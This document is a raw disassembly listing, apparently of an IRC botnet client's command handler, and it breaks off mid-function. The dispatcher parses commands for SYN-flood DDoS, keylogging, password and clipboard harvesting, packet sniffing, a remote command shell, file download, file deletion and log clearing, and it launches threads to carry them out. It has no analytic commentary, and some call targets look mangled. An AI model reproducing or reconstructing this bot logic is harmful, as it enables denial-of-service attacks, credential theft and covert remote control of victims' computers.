		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B62
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B1A
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ADB
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACF
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_43278C
		jnz	short loc_410249
		mov	eax, offset dword_432758


loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 1Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410277:				; CODE XREF: sub_40EE72+13C2j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149DE
		push	edi
		push	offset aIrc_aliases ; "irc.aliases"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_al	; "irc.al"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4149BE
		push	edi
		push	offset aIrc_log	; "irc.log"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aIrc_lg	; "irc.lg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148CB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4148B2
		push	edi
		push	offset aCom_netinfo ; "com.netinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aCom_ni	; "com.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414880
		push	edi
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410459
		mov	edi, [ebp+esi+var_90]
		push	7Fh
		lea	eax, [ebp+var_76C]
		push	edi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+esi+var_8C]
		push	7Fh
		mov	[ebp+arg_18], eax
		push	eax
		lea	eax, [ebp+var_6EC]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_88]
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_18]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_432698
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	14h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_401831
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410448


loc_410432:				; CODE XREF: sub_40EE72+15D4j
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_410432
; ---------------------------------------------------------------------------


loc_410448:				; CODE XREF: sub_40EE72+15BEj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_43264C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_410459:				; CODE XREF: sub_40EE72+14E6j
		push	edi
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aCom_si	; "com.si"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414852
		push	edi
		push	offset aIrc_rem0ve ; "irc.rem0ve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aIrc_rm0	; "irc.rm0"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414818
		push	edi
		push	offset aCom_procs ; "com.procs"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_ps	; "com.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41470F
		push	edi
		push	offset aCom_harvest ; "com.harvest"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_key	; "com.key"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146F1
		push	edi
		push	offset aCom_uptime ; "com.uptime"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_up	; "com.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41466C
		push	edi
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_drv	; "com.drv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41464F
		push	edi
		push	offset aCom_testdlls ; "com.testdlls"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_dll	; "com.dll"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414636
		push	edi
		push	offset aCom_opencmd ; "com.opencmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd ; "com.ocmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145CA
		push	edi
		push	offset aCom_ocmd_off ; "com.ocmd.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4105D2
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4105D2:				; CODE XREF: sub_40EE72+1746j
		push	edi
		push	offset aIrc_who	; "irc.who"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41065E
		cmp	[ebp+var_8], ebx
		jnz	short loc_410602
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_410602:				; CODE XREF: sub_40EE72+1774j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_410607:				; CODE XREF: sub_40EE72+17DBj
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_410613
		mov	eax, offset aEmpty ; "<Empty>"


loc_410613:				; CODE XREF: sub_40EE72+179Aj
		push	eax
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4172B0
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_410607
		push	offset dword_432520


loc_410654:				; CODE XREF: sub_40EE72+5C58j
		call	sub_40BF6D
		jmp	loc_414F46
; ---------------------------------------------------------------------------


loc_41065E:				; CODE XREF: sub_40EE72+176Fj
		push	edi
		push	offset aCom_getclip ; "com.getclip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aCom_gc	; "com.gc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414556
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414532
		push	edi
		push	offset aRoot_currentip ; "root.currentip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aRoot_cip ; "root.cip"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4144F5
		push	edi
		push	offset aDaemon_rlogi_0 ; "daemon.rlogin.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_rl_on ; "daemon.rl.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4143A4
		push	edi
		push	offset aDaemon_httpd_o ; "daemon.httpd.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_web_on ;	"daemon.web.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41422E
		push	edi
		push	offset aDaemon_tftp_on ; "daemon.tftp.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aDaemon_tf_on ; "daemon.tf.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4140ED
		push	edi
		push	offset aCom_findpass ; "com.findpass"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aCom_fp	; "com.fp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414043
		push	edi
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		push	edi
		push	offset aSa	; "sa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D44
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_nick ; "irc.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_n	; "irc.n"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D28
		push	[ebp+arg_8]
		push	offset aIrc_join ; "irc.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_j	; "irc.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413D05
		push	[ebp+arg_8]
		push	offset aIrc_part ; "irc.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_pt	; "irc.pt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CE9
		push	[ebp+arg_8]
		push	offset aIrc_raw	; "irc.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aIrc_ra	; "irc.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413CAF
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413BDD
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413B32
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AE4
		push	[ebp+arg_8]
		push	offset aIrc_prefix ; "irc.prefix"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aIrc_pr	; "irc.pr"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413ACF
		push	[ebp+arg_8]
		push	offset aCom_open ; "com.open"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aCom_o	; "com.o"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413AA5
		push	[ebp+arg_8]
		push	offset aIrc_setserve ; "irc.setserve"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_se	; "irc.se"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413A8C
		push	[ebp+arg_8]
		push	offset aIrc_dns	; "irc.dns"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aIrc_dn	; "irc.dn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139FA
		push	[ebp+arg_8]
		push	offset aCom_killprocna ; "com.killprocname"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_kpn	; "com.kpn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4139CE
		push	[ebp+arg_8]
		push	offset aCom_prockillid ; "com.prockillid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_pkid ; "com.pkid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413973
		push	[ebp+arg_8]
		push	offset aCom_delete ; "com.delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aCom_del	; "com.del"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413938
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41384E
		push	[ebp+arg_8]
		push	offset aCom_filelist ; "com.filelist"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aCom_fl	; "com.fl"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413830
		push	[ebp+arg_8]
		push	offset aIrc_visit ; "irc.visit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aIrc_v	; "irc.v"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41374F
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413714
		push	[ebp+arg_8]
		push	offset aCom_cmd	; "com.cmd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_cm	; "com.cm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4136C9
		push	[ebp+arg_8]
		push	offset aCom_readfile ; "com.readfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aCom_rf	; "com.rf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413643
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410CCC
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410C97
		push	19h
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410BC1
		push	offset unk_432254
		jmp	loc_410D38
; ---------------------------------------------------------------------------


loc_410BC1:				; CODE XREF: sub_40EE72+1D43j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_464], eax
		jnz	short loc_410C03
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410C03
		mov	esi, [ebp+var_8C]


loc_410C03:				; CODE XREF: sub_40EE72+1D73j
					; sub_40EE72+1D89j
		push	esi
		lea	eax, [ebp+var_4EC]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432214
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	19h
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_402688
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_46C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410C86


loc_410C70:				; CODE XREF: sub_40EE72+1E12j
		cmp	[ebp+var_460], ebx
		jnz	loc_410E57
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_410C70
; ---------------------------------------------------------------------------


loc_410C86:				; CODE XREF: sub_40EE72+1DFCj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_4321C8
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410C97:				; CODE XREF: sub_40EE72+1D33j
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	19h
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410CC5
		push	eax
		push	offset unk_43217C
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410CC5:				; CODE XREF: sub_40EE72+1E46j
		push	offset unk_432144
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410CCC:				; CODE XREF: sub_40EE72+1D1Ej
		push	[ebp+arg_8]
		push	offset aCom_keylog ; "com.keylog"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E81
		push	edi
		push	offset aOn	; "on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aFile	; "file"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410D4B
		push	edi
		push	offset aOff	; "off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E57
		push	ebx
		push	1Bh
		call	sub_416F57
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_410D33
		push	eax
		push	offset unk_4320E4
		jmp	loc_410E48
; ---------------------------------------------------------------------------


loc_410D33:				; CODE XREF: sub_40EE72+1EB4j
		push	offset unk_4320A8


loc_410D38:				; CODE XREF: sub_40EE72+1D4Aj
					; sub_40EE72+1E58j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_410E57
; ---------------------------------------------------------------------------


loc_410D4B:				; CODE XREF: sub_40EE72+1E80j
					; sub_40EE72+1E91j
		push	1Bh
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_410D5E
		push	offset unk_432078
		jmp	short loc_410D38
; ---------------------------------------------------------------------------


loc_410D5E:				; CODE XREF: sub_40EE72+1EE3j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4F0], eax
		mov	eax, [ebp+var_4]
		push	offset aFile	; "file"
		mov	[ebp+var_468], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410D8D
		mov	[ebp+var_464], 1
		jmp	short loc_410D96
; ---------------------------------------------------------------------------


loc_410D8D:				; CODE XREF: sub_40EE72+1F0Dj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_464], eax


loc_410D96:				; CODE XREF: sub_40EE72+1F19j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_410DBD
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410DBD
		mov	esi, [ebp+var_8C]


loc_410DBD:				; CODE XREF: sub_40EE72+1F2Dj
					; sub_40EE72+1F43j
		push	esi
		lea	eax, [ebp+var_4E8]
		push	80h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_2DC]
		push	offset unk_432048
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Bh
		push	eax
		call	sub_416D5C
		add	esp, 14h
		mov	[ebp+var_4EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F0]
		push	ebx
		push	eax
		push	offset sub_4023A7
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_4EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_410E3C


loc_410E2A:				; CODE XREF: sub_40EE72+1FC8j
		cmp	[ebp+var_460], ebx
		jnz	short loc_410E57
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_410E2A
; ---------------------------------------------------------------------------


loc_410E3C:				; CODE XREF: sub_40EE72+1FB6j
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_431FFC


loc_410E48:				; CODE XREF: sub_40EE72+1E20j
					; sub_40EE72+1E4Ej ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_410E57:				; CODE XREF: sub_40EE72+1E04j
					; sub_40EE72+1E34j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_40F822
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_40EE72+1E6Bj
		push	[ebp+arg_8]
		push	offset aCom_net	; "com.net"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411114
		cmp	dword_43AE68, ebx
		jz	short loc_410EB2
		cmp	dword_43AE90, ebx
		jz	short loc_410EB2
		push	offset dword_431FAC
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_40EE72+202Cj
					; sub_40EE72+2034j
		cmp	[ebp+var_C], ebx
		jz	loc_4110DC
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_410EDA
		push	eax
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_410EDA:				; CODE XREF: sub_40EE72+2058j
		push	edi
		push	offset aStart	; "start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F26
		cmp	[ebp+arg_18], ebx
		jz	short loc_410EFA
		push	[ebp+arg_0]
		push	3
		jmp	loc_410F84
; ---------------------------------------------------------------------------


loc_410EFA:				; CODE XREF: sub_40EE72+207Cj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D9B3
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_410F1C
		push	offset dword_431F70
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: sub_40EE72+209Ej
		push	offset dword_431F40
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


loc_410F26:				; CODE XREF: sub_40EE72+2077j
		push	edi
		push	offset aStop	; "stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F3E
		push	[ebp+arg_0]
		push	4
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F3E:				; CODE XREF: sub_40EE72+20C3j
		push	edi
		push	offset aPause	; "pause"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F56
		push	[ebp+arg_0]
		push	5
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F56:				; CODE XREF: sub_40EE72+20DBj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_410F84
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_40EE72+20F3j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F90
		push	[ebp+arg_0]
		push	1


loc_410F84:				; CODE XREF: sub_40EE72+2083j
					; sub_40EE72+20CAj ...
		call	sub_40D719
		pop	ecx
		pop	ecx
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410F90:				; CODE XREF: sub_40EE72+210Bj
		push	edi
		push	offset aShare	; "share"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FFB
		cmp	[ebp+arg_18], ebx
		jz	short loc_410FCE
		cmp	[ebp+var_9C4], bl
		jz	short loc_410FC1
		push	ebx
		push	[ebp+arg_18]
		push	1


loc_410FB4:				; CODE XREF: sub_40EE72+215Aj
		call	sub_40DAF0
		add	esp, 0Ch
		jmp	loc_4110AB
; ---------------------------------------------------------------------------


loc_410FC1:				; CODE XREF: sub_40EE72+213Aj
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx
		jmp	short loc_410FB4
; ---------------------------------------------------------------------------


loc_410FCE:				; CODE XREF: sub_40EE72+2132j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DCE6
		add	esp, 10h
		test	eax, eax
		jz	short loc_410FF1
		push	offset dword_431EE4
		jmp	loc_4110CE
; ---------------------------------------------------------------------------


